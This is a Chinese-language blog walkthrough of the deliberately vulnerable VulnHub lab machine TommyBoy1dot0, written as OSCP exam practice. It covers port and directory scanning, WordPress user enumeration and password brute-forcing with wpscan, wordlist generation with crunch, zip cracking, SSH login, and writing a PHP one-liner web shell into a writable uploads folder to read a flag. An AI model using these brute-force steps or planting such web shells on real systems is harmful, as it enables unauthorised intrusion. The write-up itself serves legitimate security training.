超长攻击链vulhub靶机,TommyBoy1dot0

【oscp】超长攻击链vulhub靶机,TommyBoy1dot0

靶机描述:
圣施耐克!汤米男孩需要您的帮助!
卡拉汉汽车公司终于进入了现代技术领域,并建立了一个Web服务器供其客户订购刹车片。
不幸的是,该站点刚刚瘫痪,唯一拥有管理员凭据的人是Tom Callahan Sr.-他刚刚去世!更糟糕的是,唯一一个了解服务器的人退出了!
您需要帮助Tom Jr.,Richard和Michelle再次恢复该网页。否则,卡拉汉汽车公司肯定会倒闭:-( —-谷歌翻译
目标:找到六个flag

下载地址:https://www.vulnhub.com/entry/tommy-boy-1,157/

主机发现

arp-scan -l

image-20250124203728513

端口扫描(SYN),对应的服务端口为22,80,8080(服务阻止了我们访问,KEEP OUT,应该是内网才能访问的)

nmap -sS 192.168.209.144 -p- -A -T4

image-20250124201938876

访问80端口

image-20250124204249409

目录扫描到的robots.txt文件

image-20250124205852842

image-20250124204627249

前三个都是图片

image-20250124205223123

第四个是flag.txt,第一个flag找到了,B34rcl4ws

image-20250124204742439

找了很多地方都没有突破口了,看来只能从首页的源码找突破口了

image-20250124210148084

Nick的评论:备份副本在Big Tom的家目录中。
Richard的评论:你能也给我访问权限吗?只有Big Tom有密码。
Nick的评论:是的是的,我的处理器一次只能处理一个命令。
Richard的评论:请啦,我会好好请求的。
Nick的评论:我会给你设置管理员权限如果你告诉Tom不要再把重要信息存储在公司博客里。
Richard的评论:成交。公司博客地址是什么?
Nick的评论:真的假的?你们这些家伙真是没救了。我们把它藏在一个以你们和Tom Jr.大打出手后注意到的地方命名的文件夹里。你知道的,就是你用木板砸他脑袋的那个地方。如果你不记得了,地址在这里:https://www.youtube.com/watch?v=VUxOd4CszJ8
Richard的评论:啊!我怎么忘了呢?谢谢。

可以看到标题Hey Prehistoric Forest

image-20250124210912482

访问试试,数据库连接错误,一般目录不会存在空格,所以我们尝试 /PrehistoricForest /Prehistoricforest /prehistoricForest

/prehistoricforest 四种写法,因为Linux是严格遵循大小写的,结果发现 /prehistoricforest 目录存在内容!而且是wordpress站点

image-20250126014808100

发现可能存在的用户6个,利用wpscan枚举用户信息,并利用msf中的top1024密码字典进行后台爆破

wpscan --url http://10.10.10.192/prehistoricforest -e u -P /usr/share/wordlists/metasploit/burnett_top_1024.txt
tommy
richard
tom
Tom Jr.
Big Tom
michelle

image-20250126015604198

密码没有找到嘞,giao,继续信息收集,wordpress版本为4.5.3版本

image-20250126015923444

漏洞检索(没有结果)

image-20250126020306261

那么只能手工注入了,sql注入测试

image-20250126020501691

返回看第一篇文章,他说把站点目录切换到 /richard

image-20250126020655475

这下面有一个开车的少年

image-20250126020716226

下载下来后利用strings分析,包含了一段“xml”信息,有一个类似md5加密的密文

image-20250126021223305

识别这个hash,可以看到就是md5

image-20250126021150656

拿去解密https://www.somd5.com/,密码为:spanky

image-20250126021321734

第二篇文章,需要我们输入密码,我们试试刚刚解出来的 spanky

image-20250126125110753

密码正确的

image-20250126125200478

看到下面这一段话

image-20250126125539224

都总结一下吧

1、只有tom(大汤姆)有登录的密码

2、有一个 callahanbak.bak 的备份文件,需要你将其重命名为index.html

3、有一个ftp服务,放在一个大多数扫描器都扫不到的端口上,每过15分钟上线

4、nick重置了它的账号为,nickburns

再翻一翻,到最后一篇文章的评论,有一个thisisthesecondflagyayyou.txt

image-20250126125919622

访问得到第二个flag,Z4l1nsky

image-20250126130005457

8008端口,有一个密匙nick的超级密匙sup3rl33t

image-20250126132727598

耐心等待一会儿,出现了一个65534端口

image-20250126133158844

目前已知的密码,就是刚刚的md5还有8008的密匙,还有flag,每个都尝试一下,发现密码是同样用户名一样的,都是nick重置后的用户名

image-20250126133402457

将这个readme下载下来

get readme.txt

image-20250126133621711

大致就是告诉我们服务器上有一个子文件夹NickIzL33t,还有一个encrypted.zip文件

image-20250126134026727

他还说要通过手机访问,那么是不是要添加一个ua头呢?打开hackbar添加ua头(iphone)如下

Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default

image-20250126134830134

需要利用html后缀来攻破这个壁垒,利用目录扫描工具dirb和dirsearch,均没有任何东西

dirb http://10.10.10.192:8008/NickIzL33t/ -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'
dirsearch -u http://10.10.10.192:8008/NickIzL33t -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'

那么就利用wfuzz模糊测试工具,指定一个小型的字典以 fall 开头的字典,节省时间,实际情况我们是不清楚这个是以 fall 开头的

cat /usr/share/wordlists/rockyou.txt| grep fall > small_rockyou.txt

wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt  -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS...........
.8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' --sc 200

image-20250126150626587

成功扫描出来了一个html

image-20250126150903612

第一个链接

image-20250126151312330

第二个链接,找到第三个flag,TinyHead

image-20250126151132911

第三个链接是一个zip文件,看样子需要我们根据第一个链接的提示猜测密码

image-20250126151239832

原文翻译如下

大汤姆,你的密码库是用(是的,你猜对了)密码保护的!
因为你选择了像“passwordi23”和“brakepad”这样愚蠢的密码,我强制要求你使用新的密码。
13个字符,宝贝!
MUAHAHAHAHAH ! !

你的密码是
你妻子的昵称“bev”(注意全是小写的)加上以下内容:
一个大写字符,
两个数字,
两个小写字符,
一个符号
Tommy Boy 在剧院上映的年份

是的,胖子,要按的键很多,但要确保你把它们都打在一个大块上,好吗?
嘿,“大块”。
大块输入大块。
这是有趣的。

固定的信息找到了两个,devxxxxxx1995

image-20250126151955504

那么使用kali下载下来(记得添加ua头)

wget http://10.10.10.192:8008/NickIzL33t/t0msp4ssw0rdz.zip --header='User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'

image-20250126152550677

接下来利用已知的密码信息,来生成密码字典

crunch 13 13 -t bev,%%@@^1995 > pass.txt

命令解释:

13 13 : 表示生成13个字符,如果是 7 13那么就代表从7位数开始生成,一直生成到13位数完,也就是(7-13个字符)

-t : template的缩写,表示使用模板(模式)来生成密码。

bev,%%@@^1995 : 模板字符串含义如下

  • , 表示包含任意一个大写字母(A-Z)
  • % 表示包含任意一个数字(0-9)
  • ^ 表示特殊字符
  • @ 表示任意的小写字母(a-z)

查看具体代表的字符,可以这样使用,只是用一个符号来利用

crunch 1 1 -t ,
# 输出结果
A
B
C
D
…
…
Y
Z

并利用这个字典进行爆破

fcrackzip -D -p pass.txt -u t0msp4ssw0rdz.zip

image-20250126162206385

找到了zip的密码 bevH00tr$1995

unzip t0msp4ssw0rdz.zip
cat passwords.txt

image-20250126183548262

这里有三个用户和密码信息(ssh鉴权失败),只能从网页上走了,但是3个用户都是失败的

BigTommyC : money
TomC : wedding
bigtommysenior : fatguyinalittlecoat

image-20250126184630459

那么对密码字典进行一下赛选吧,那么多的大汤姆,就以tom进行赛选

cat /usr/share/wordlists/rockyou.txt| grep tom > tom_rockyou.txt
wpscan --url http://10.10.10.192/prehistoricforest -e u -P tom_rockyou.txt

image-20250126185854968

此时就爆破成功了一个密码tom / tomtom1,登录进去就行了

image-20250126191118627

这里有人告诉我们后门遗忘的数字是 1938!! 所以我们将字符拼接到上面密码上,得到账号密码

我们利用这个新的到的账号密码再次尝试ssh登入

用户:bigtommysenior 密码:fatguyinalittlecoat1938!!

登录成功了,找到第四个flag,EditButton,并且提示我们第五个flag在 /5.txt中

image-20250126191345873

www-data用户,那么思路就是要么直接提权到root用户,要么直接切换到www-data用户,再就是直接在网站中写入一个php马

image-20250126193546310

系统信息收集,看看能不能直接内核提权

image-20250126191447885

其他的一些信息收集

uname -a 
cat /etc/os-release   # 没有lsb_release -a命令可以使用这个代替
sudo -l # 查看可以使用sudo的文件
find / -perm -4000 -print 2>/dev/null  # 查找 SUID文件
ls -al /etc/cron* # 查看所有计划任务
find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息
ps -aux | grep mysql # 查看mysql是否在后台运行
netstat -tuln # 查看端口信息

当前目录下有一个zip文件需要我们解密,看向旁边有一个callahanbak.bak文件,这个不就是文章中所说的备份文件嘛,需要让我们修改成index.html就可以恢复正常

image-20250126192020260

貌似没什么东西啊

image-20250126192414671

转过来网站的配置文件,看到账号密码信息

wordpressuser

CaptainLimpWrist!!!

image-20250126192314892

四个账号密码信息

richard : $P$BzW7ZDwxd7THv1D4rTANjGGgzV0XK9/
tommy : $P$BCcKbJIQtLuiBOybaQPkkfe1yYJRkn.
michelle : $P$BIEfXY1Li5aYTokSsi7pBgh0FTlO6k/
tom : $P$BmXAz/a8CaPZDNTraFb/g6kZeTpijK.
# 全部解密失败,得不到明文信息了

image-20250126192708948

没有利用的了,这个时候看看能不能在网站目录下面写一个木马了

find / -name 'NickIzL33t' 2>/dev/null
cd /var/thatsg0nnaleaveamark/NickIzL33t

image-20250126200857410

看到这个目录下面有一个当前用户可以写的目录

image-20250126201203824

写入一句话木马

cd uploads/
echo "<?php @eval($_GET[pass]);?>" > cmd.php    # 之后你可能会发现站点报内部错误,大概率是php禁用了eval函数

# 替换system就可以了
echo "<?php system($_GET[pass]);?>" > cmd.php

下载这个内容.5.txt文件,找到第五个flag :Buttcrack,最后一句话是说,对着所有的flag进行操作组合,即可解开loot.zip文件

wget 'http://10.10.10.192:8008/NickIzL33t/P4TCH_4D4MS/uploads/cmd.php?pass=cat%20/.5.txt' --header="User-Agent:Mozilla/5.0 (iPhone; CPU iP
hone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default"

root@kali:/data/exp/demo# cat 'cmd.php?pass=cat %2F.5.txt'
FIFTH FLAG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
YOU DID IT!!!!!!!!!!!!!!!!!!!!!!!!!!!!
OH RICHARD DON'T RUN AWAY FROM YOUR FEELINGS!!!!!!!!

Flag data: Buttcrack

Ok, so NOW what you do is take the flag data from each flag and blob it into one big chunk.
So for example, if flag 1 data was "hi" and flag 2 data was "there" and flag 3 data was "you"
you would create this blob:

hithereyou

Do this for ALL the flags sequentially, and this password will open the loot.zip in Big Tom's
folder and you can call the box PWNED.

第一个flag:B34rcl4ws

第二个flag:Z4l1nsky

第三个flag:TinyHead

第四个flag:EditButton

第五个flag:Buttcrack

组合:B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack,这个时候就能找到最后一个内容flag啦(并没有提权奥,目标就是找到6个flag)

image-20250126212129921

至此已经全部做完啦,oscp+认证之路,我们会一直陪着您,加油!

思路总结

1、通过端口扫描出来的信息,发现22和80还有8008端口的服务,其中80和8008端口是http服务,可以通过网页访问

2、然后通过80端口目录扫描出来的robots.txt文件,找到第一个flag

3、通过访问页面的源码和提示信息,开魔法访问网站,有一个标题,或者评论区找到信息,进行拼凑名称,最终发现一个prehistoricforest目录,这个目录呢是一个wordpress站点

4、通过阅读wordpress站点的文章,找到第二个flag,获取一个压缩文件,并且会告诉你这个压缩文件的一些密码提示

5、通过这些提示,用密码生成工具crunch生成可能的用户密码,进行爆破,找到第3个flag

6、第四个flag需要使用wpscan对wordpress站点进行爆破和用户枚举,登录到后台后,就能获得遗漏的密码提示(缺少的后缀信息),然后就能登录ssh获取第4个flag

7、第五个flag在第四个flag的提示中,在系统的根目录下面有一个.5.txt隐藏的txt文件,会发现他是www-data用户

8、通过对数据库密码进行一系列的猜测,最后发现一个uploads文件夹当前低权限用户可以写文件,此时写入一句话木马,并且这个一句话木马不能包含@eval,否则会内部错误,你访问不了网站,写入这个一句话马后就能获取到第五个flag

9、根据第五个flag的提示,将五个flag组合就是当前用户下的那个zip文件的密码,解压后,获取到最终flag。

往期推荐

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程

【oscp】SickOS系列全教程

【oscp】tar、zip命令提权—zico2

【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结

渗透测试中新手必练的15个靶场

从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容